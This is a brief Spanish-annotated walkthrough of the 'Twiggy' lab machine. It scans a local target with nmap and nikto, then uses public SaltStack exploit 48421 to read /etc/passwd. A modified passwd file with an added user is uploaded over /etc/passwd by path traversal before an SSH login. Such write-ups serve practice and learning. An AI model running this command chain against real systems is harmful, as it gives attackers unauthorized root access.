Twiggy

nmap -A -p- -oA twiggy 192.168.68.62 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA twiggy 192.168.68.62

nmap -sU -O -p- -oA twiggy-udp 192.168.68.62

nikto -h 192.168.68.62:80

whatweb http://192.168.68.62/

Vamos a http://192.168.68.62:8000 y solo vemos json

Vamos a http://192.168.68.62/ y trate de logearme con admin:admin y no tuve exito.

searchsploit SaltStack

searchsploit -m 48421

python3 48421.py —master 192.168.68.62 —read /etc/passwd

Creamos un archivo llamado passwd y le agregamos un usuario con contrasena al final + lo que obtuvimos con el comando anterior.

python3 48421.py —master 192.168.68.62 —upload-src passwd —upload-dest ../../../../../etc/passwd

Con el usuario y contrasena en el paso al crear el archivo passwd nos tratamos de logear por ssh

ssh cu3rv0x@192.168.68.62